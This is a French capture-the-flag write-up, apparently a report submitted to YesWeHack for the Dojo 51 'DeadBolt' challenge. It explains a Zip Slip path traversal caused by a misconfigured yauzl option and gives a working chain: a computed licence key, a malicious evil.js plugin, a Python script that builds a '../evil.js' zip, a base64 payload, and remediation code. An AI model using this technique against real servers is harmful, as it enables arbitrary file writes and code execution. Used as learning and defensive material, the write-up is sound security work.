Writeup du challenge YesWeHack Dojo 51 (DeadBolt) : Zip Path Traversal (Zip Slip) menant à une RCE via yauzl mal configuré
Find a file
Repository files (latest commit first)
Filename Latest commit message Latest commit date
2026-06-10 16:08:27 +02:00
exploit-chain.png docs: rapport path traversal (zip slip) dojo-51 DeadBolt 2026-06-10 16:08:27 +02:00
readme.md docs: rapport path traversal (zip slip) dojo-51 DeadBolt 2026-06-10 16:08:27 +02:00

Path Traversal on dojo-yeswehack.com through /challenge-of-the-month/dojo-51 via POST parameter "zipData"

Ce document est mon propre rapport, tel qu'il a été soumis à YesWeHack pour le challenge Dojo 51.

Description

DeadBolt est une app Node.js qui permet d'uploader des plugins en ZIP. Le ZIP est extrait dans /tmp/app/plugins/archive/, puis les plugins sont chargés depuis /tmp/app/plugins/.

Une faille de type Zip Path Traversal (CWE-22) permet d'écrire un fichier JS malveillant dans le dossier parent /tmp/app/plugins/ au lieu de archive/. Le plugin est ensuite automatiquement chargé par require(), ce qui donne une exécution de code arbitraire (RCE) et permet de lire le flag.

En lisant le code, j'ai vu que la bibliothèque yauzl était configurée avec deux options qui s'annulent (lignes 29-33) :

// Unzip a zip file to a specific destination
function unzip(filename, dest) {
    const options = {
        lazyEntries: true,
        strictFileNames: true,   // censé bloquer "../"
        decodeStrings: false     // rend strictFileNames inopérante
    };

Or, la documentation officielle de yauzl est claire sur le sujet. Dans la section open() :

When decodeStrings is false, strictFileNames has no effect.

Et dans la section fileName :

If decodeStrings is false [...] this field is the undecoded Buffer instead of a decoded String. [...] no automatic file name validation is performed for this file name.

Concrètement, decodeStrings: false empêche validateFileName() d'être appelée, donc le check ../ n'a jamais lieu (source).

strictFileNames: true ne sert à rien dans ce cas.
Le ../evil.js dans le zip passe sans être filtré, et path.join() normalise le chemin vers le dossier parent.

C'est un Zip Slip classique (Snyk, CWE-22).

Exploitation

L'attaque combine 4 étapes, regroupées en 3 phases dans le schéma ci-dessous :

Étape 1 : Contournement de la clé de licence

La fonction validateKey() vérifie 4 contraintes sur une clé hex de 16 chars.

Découpée en 4 blocs A, B, C, D (16 bits chacun). Aucun secret, juste des maths.

En mettant les variables libres à zéro, on obtient:

Bloc Contrainte Valeur Justification
A Premier nibble = 0xA ou 0xC 0xA000 12 bits libres sur 16, nibble fort = A, reste à zéro
B (B_low ^ A_low) === 0x37 0x0037 8 bits libres (octet haut), octet bas = 0x00 ^ 0x37 = 0x37
C Multiple de 7 0x0000 ~9362 valeurs valides (~13 bits effectifs), 0 est le plus simple
D Checksum (Math.imul(seed, 1103515245)+1337) & 0xFFFF 0xFEA4 0 bit libre : seed = A^B^C = 0xA037, donc D = 0xFEA4

Clé finale : A00000370000FEA4 ou A000-0037-0000-FEA4

Étape 2 : Création du plugin malveillant

Le plugin doit exporter trois méthodes pour passer les vérifications de loadPlugin() et être exécuté par main():

module.exports = {
    getName: () => 'evil',    // requis par main() pour sélectionner le plugin
    get: () => 'pwned',       // requis par loadPlugin() : typeof get === "function"
    run: () => {              // exécuté si getName() === pluginToRun
        const fs = require('fs');
        const flag = fs.readFileSync('/flag', 'utf8');
        process.stdout.write(`[FLAG] ${flag}`);
    }
};

Étape 3 : Fabrication du zip avec path traversal

Le zip contient une seule entrée nommée ../evil.js. Le ../ sert à sortir du dossier archive/ via path.join().

import zipfile, base64
with zipfile.ZipFile('evil.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('../evil.js', open('evil.js', 'rb').read())
with open('evil.zip', 'rb') as f:
    zip_b64 = base64.b64encode(f.read()).decode()

Vérification : unzip -l evil.zip confirme la présence de l'entrée ../evil.js.

Étape 4 : Injection dans l'interface DOJO

Sur la page https://dojo-yeswehack.com/challenge-of-the-month/dojo-51, dans l'onglet INPUT, les trois paramètres sont renseignés :

Paramètre Valeur
key A00000370000FEA4
pluginToRun evil
zipData (voir bloc ci-dessous)

Le paramètre pour zipData contient l'archive ZIP encodée en B64:

UEsDBBQAAAAIAEWTyFyq3OsR8wEAABwEAAAKAAAALi4vZXZpbC5qc31TwY7aMBC9+yvmsFIc
CZlrtYhKq6r0si2rlp5YtHidCXhJ7NSeUBDNv1cTCCSqtjnF897MPL8ZG+8iwQnwgObH0Rlo
YAoBf9U2oEzM1hbZSxW8wRiTdCJMS89jn5T3kErTto/xmVGR186Q9Q5y67JZoTcyhZMAGI9h
EY5gfFkyWOgNFN5opkYBcK5qtMtspgm571IAACRj5iajy4HKaqyr6v2gogMNgH+YA9ZqIgBy
H0BeFIDPezLO2gEoHC9/V6neETqCKeRRBdTZzBbIxkozgqSm/EOSKgq2lCm34M/mbRdOSyEg
1cF1Zc6UBowmswWJKZwaAdDcjEO3Hypd7kawX7Hc+esbGlLoKFiM8jJFhW6fdvq59U6R/1lV
GD7piDJV1pmizjDKZPb48CVJr5r2k1vrR8trYAuMoCPkuihetdmJviNnOcF7YgvizZHMhtaQ
ZMybcaNSWb3LpLIaknX1XzLPvUu4yF9/n88X93B3ukpSb946mYyStIE/sPj6xGinQg3Ah6cW
7Lr2wHXrSn9Cg6afQ/CBU1GVGKPe4CVDNKJ7Tbz0097DmAhR+qwuUOGh8oH4klx1g/RNl3gP
MoXpR0hwb4t2WzdIXZCLcSjUrgudBXXjj5T5mtTvYAnl+tktecoruDtxZvPs1q1rjWgm4i9Q
SwECFAMUAAAACABFk8hcqtzrEfMBAAAcBAAACgAAAAAAAAAAAAAAgAEAAAAALi4vZXZpbC5q
c1BLBQYAAAAAAQABADgAAAAbAgAAAAA=

Lors de l'exécution, le flux se produit :

  1. validateKey("A00000370000FEA4") retourne true (code.js L10-25)
  2. Le ZIP est décodé et sauvegardé dans /tmp/upload_XXXX.zip (L114)
  3. unzip() extrait l'entrée ../evil.js, non filtrée car decodeStrings: false empêche validateFileName() d'être appelée (L28-68)
  4. path.join('/tmp/app/plugins/archive/', '../evil.js') normalise vers /tmp/app/plugins/evil.js (L44)
  5. fs.createWriteStream() écrit le plugin dans le dossier scanné par getPlugins() (L51)
  6. getPlugins('/tmp/app/plugins') trouve evil.js et le charge via require() (L71-79, L89)
  7. getName() retourne "evil", ce qui correspond à pluginToRun (L123-124)
  8. run() (du plugin evil.js) est exécuté : fs.readFileSync('/flag') lit le flag

POC

Preuve de l'exécution

Les 3 valeurs envoyées dans l'onglet INPUTS renvoient directement le flag en sortie.

Reproduction

#!/usr/bin/env python3
import zipfile, base64

# 1. Plugin malveillant : exporte getName(), get(), run()
evil_js = """
module.exports = {
  getName: () => 'evil',
  get: () => 'pwned',
  run: () => {
    const fs = require('fs');
    process.stdout.write(fs.readFileSync('/flag', 'utf8'));
  }
};
"""

# 2. ZIP avec path traversal : l'entrée ../evil.js écrit dans /tmp/app/plugins/
with zipfile.ZipFile('evil.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('../evil.js', evil_js.encode())

print(base64.b64encode(open('evil.zip', 'rb').read()).decode())

Ce evil.js minimal lit directement /flag. Le zipData base64 fourni à l'étape 4 embarque une variante équivalente qui sonde plusieurs emplacements (/flag en priorité, puis /tmp/app/flag, variables d'environnement *FLAG*, listing en dernier recours) pour fiabiliser la récupération.

Exécuter ce script, puis sur https://dojo-yeswehack.com/challenge-of-the-month/dojo-51, onglet INPUTS :

  • key = A00000370000FEA4
  • pluginToRun = evil
  • zipData = (sortie base64 du script ci-dessus)

Risque

  • CWE : CWE-22 Improper Limitation of a Pathname to a Restricted Directory
  • CVSS : 9.8 (CRITICAL) : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Impact : Exécution de code arbitraire sur le serveur.
    • Lecture de fichiers sensibles (/flag, configuration, clés).
    • Écriture de fichiers arbitraires dans le dossier des plugins.
    • Prise de contrôle complète du processus Node.js.
    • Atteinte à l'intégrité de la plateforme (plugins modifiables par un tiers)
  • Prérequis : Aucun. La clé de licence se calcule via une équation déterministe sans secret.

Un attaquant non authentifié pourrait lire les plugins d'autres membres, modifier des plugins légitimes, ou exécuter des commandes sur le serveur (reverse shell, exfiltration de données).

Remédiation

1. Ne pas utiliser decodeStrings: false avec strictFileNames: true

la correction minimale consiste à passer decodeStrings: true (la valeur par défaut de yauzl).
Cela réactive validateFileName() et rend strictFileNames: true effectif.

const options = {
    lazyEntries: true,
    strictFileNames: true,
    decodeStrings: true   // ← réactive la validation des noms de fichiers
};

2. Défense en profondeur : vérifier le chemin après path.join()

Même avec yauzl correctement configuré, une vérification explicite du chemin résolu protège contre d'éventuelles failles futures de la bibliothèque :

const destpath = path.join(dest, filenameStr);
const resolvedDest = path.resolve(destpath);
const allowedBase = path.resolve(dest);
if (!resolvedDest.startsWith(allowedBase + path.sep)) {
    throw new Error('Path traversal detected');
}

3. Clé de licence robuste

Remplacer l'équation déterministe par une vérification cryptographique (HMAC-SHA256 ou signature Ed25519) avec clé secrète stockée coté serveur.

Références

Divulgation

YesWeHack ayant publié la correction officielle de ce challenge, les réponses sont désormais publiques :